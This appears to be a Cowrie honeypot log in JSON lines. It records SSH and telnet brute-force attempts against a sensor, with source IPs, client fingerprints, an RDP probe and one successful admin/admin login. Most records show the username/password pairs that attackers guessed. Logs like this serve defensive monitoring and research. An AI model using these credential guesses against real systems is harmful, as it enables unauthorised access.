{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:42:21.528562Z","src_ip":"185.242.234.173","session":"6a1193dd586e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.51.200.156","src_port":39082,"dst_ip":"10.17.0.5","dst_port":22,"session":"cecf542e84c4","protocol":"ssh","message":"New connection: 49.51.200.156:39082 (10.17.0.5:22) [session: cecf542e84c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:42:29.617928Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:42:29.622481Z","src_ip":"49.51.200.156","session":"cecf542e84c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:42:29.795350Z","src_ip":"49.51.200.156","session":"cecf542e84c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!QAZ2wsx#EDC4rfv","message":"login attempt [root/!QAZ2wsx#EDC4rfv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:42:30.515501Z","src_ip":"49.51.200.156","session":"cecf542e84c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:42:31.689580Z","src_ip":"49.51.200.156","session":"cecf542e84c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":51846,"dst_ip":"10.17.0.5","dst_port":22,"session":"d042e484b70b","protocol":"ssh","message":"New connection: 87.251.79.125:51846 (10.17.0.5:22) [session: d042e484b70b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:42:37.235653Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:42:37.240018Z","src_ip":"87.251.79.125","session":"d042e484b70b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:42:37.311292Z","src_ip":"87.251.79.125","session":"d042e484b70b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dimon","message":"login attempt [root/dimon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:42:37.527386Z","src_ip":"87.251.79.125","session":"d042e484b70b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:42:38.601703Z","src_ip":"87.251.79.125","session":"d042e484b70b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33942,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b390415054b","protocol":"telnet","message":"New connection: 152.42.224.71:33942 (10.17.0.5:23) [session: 4b390415054b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:42:42.641307Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":46118,"dst_ip":"10.17.0.5","dst_port":22,"session":"906483f844b9","protocol":"ssh","message":"New connection: 94.159.98.239:46118 (10.17.0.5:22) [session: 906483f844b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:42:45.540816Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:42:45.587812Z","src_ip":"94.159.98.239","session":"906483f844b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:42:45.682452Z","src_ip":"94.159.98.239","session":"906483f844b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:42:46.169358Z","src_ip":"94.159.98.239","session":"906483f844b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:42:47.296210Z","src_ip":"94.159.98.239","session":"906483f844b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53498,"dst_ip":"10.17.0.5","dst_port":23,"session":"b7350ef128fd","protocol":"telnet","message":"New connection: 152.42.224.71:53498 (10.17.0.5:23) [session: b7350ef128fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:42:47.861609Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":59242,"dst_ip":"10.17.0.5","dst_port":22,"session":"8f0f855687ad","protocol":"ssh","message":"New connection: 152.42.212.128:59242 (10.17.0.5:22) [session: 8f0f855687ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:42:56.507691Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:42:56.513467Z","src_ip":"152.42.212.128","session":"8f0f855687ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:42:56.518033Z","src_ip":"152.42.212.128","session":"8f0f855687ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00293970108032,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:42:57.762541Z","src_ip":"152.42.224.71","session":"d221ab6db6c5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.108.3.46","src_port":56224,"dst_ip":"10.17.0.5","dst_port":23,"session":"055394fc4e47","protocol":"telnet","message":"New connection: 213.108.3.46:56224 (10.17.0.5:23) [session: 055394fc4e47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:43:02.554822Z"}
{"eventid":"cowrie.session.closed","duration":0.01693868637084961,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:43:02.571613Z","src_ip":"213.108.3.46","session":"055394fc4e47","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.70112371444702,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:43:05.440943Z","src_ip":"152.42.224.71","session":"d0d67b1e0d4e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":53102,"dst_ip":"10.17.0.5","dst_port":22,"session":"7baa8b9006da","protocol":"ssh","message":"New connection: 193.32.162.145:53102 (10.17.0.5:22) [session: 7baa8b9006da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:43:05.474380Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:43:05.483115Z","src_ip":"193.32.162.145","session":"7baa8b9006da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:43:05.586441Z","src_ip":"193.32.162.145","session":"7baa8b9006da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sollet","message":"login attempt [sol/sollet] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:43:05.896101Z","src_ip":"193.32.162.145","session":"7baa8b9006da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":46198,"dst_ip":"10.17.0.5","dst_port":22,"session":"2c469ffc3f40","protocol":"ssh","message":"New connection: 103.149.170.125:46198 (10.17.0.5:22) [session: 2c469ffc3f40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:43:06.064774Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:43:06.069477Z","src_ip":"103.149.170.125","session":"2c469ffc3f40","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:43:06.343449Z","src_ip":"103.149.170.125","session":"2c469ffc3f40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:43:07.011747Z","src_ip":"193.32.162.145","session":"7baa8b9006da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"3odi15ngxb","message":"login attempt [root/3odi15ngxb] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:43:07.168922Z","src_ip":"103.149.170.125","session":"2c469ffc3f40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:43:08.440065Z","src_ip":"103.149.170.125","session":"2c469ffc3f40","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.85.27","src_port":52762,"dst_ip":"10.17.0.5","dst_port":22,"session":"547412158ae7","protocol":"ssh","message":"New connection: 43.153.85.27:52762 (10.17.0.5:22) [session: 547412158ae7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:43:12.208027Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:43:12.212846Z","src_ip":"43.153.85.27","session":"547412158ae7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:43:12.284941Z","src_ip":"43.153.85.27","session":"547412158ae7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"operador","password":"operador","message":"login attempt [operador/operador] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:43:12.592461Z","src_ip":"43.153.85.27","session":"547412158ae7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58278,"dst_ip":"10.17.0.5","dst_port":23,"session":"07f6478df283","protocol":"telnet","message":"New connection: 152.42.224.71:58278 (10.17.0.5:23) [session: 07f6478df283]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:43:13.642766Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:43:13.663277Z","src_ip":"43.153.85.27","session":"547412158ae7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39296,"dst_ip":"10.17.0.5","dst_port":23,"session":"0fbe5565233f","protocol":"telnet","message":"New connection: 152.42.224.71:39296 (10.17.0.5:23) [session: 0fbe5565233f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:43:17.673089Z"}
{"eventid":"cowrie.session.closed","duration":35.21556353569031,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:43:23.077031Z","src_ip":"152.42.224.71","session":"b7350ef128fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.46.255.86","src_port":47681,"dst_ip":"10.17.0.5","dst_port":22,"session":"6881ae787c2c","protocol":"ssh","message":"New connection: 193.46.255.86:47681 (10.17.0.5:22) [session: 6881ae787c2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:43:24.307885Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:43:24.312973Z","src_ip":"193.46.255.86","session":"6881ae787c2c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:43:24.438239Z","src_ip":"193.46.255.86","session":"6881ae787c2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"","password":"","message":"login attempt [/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:43:25.019460Z","src_ip":"193.46.255.86","session":"6881ae787c2c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:43:25.064418Z","src_ip":"175.100.42.36","session":"41088e87a173","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:43:25.121319Z","src_ip":"175.100.42.36","session":"41088e87a173","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:43:26.148231Z","src_ip":"193.46.255.86","session":"6881ae787c2c","protocol":"ssh"}
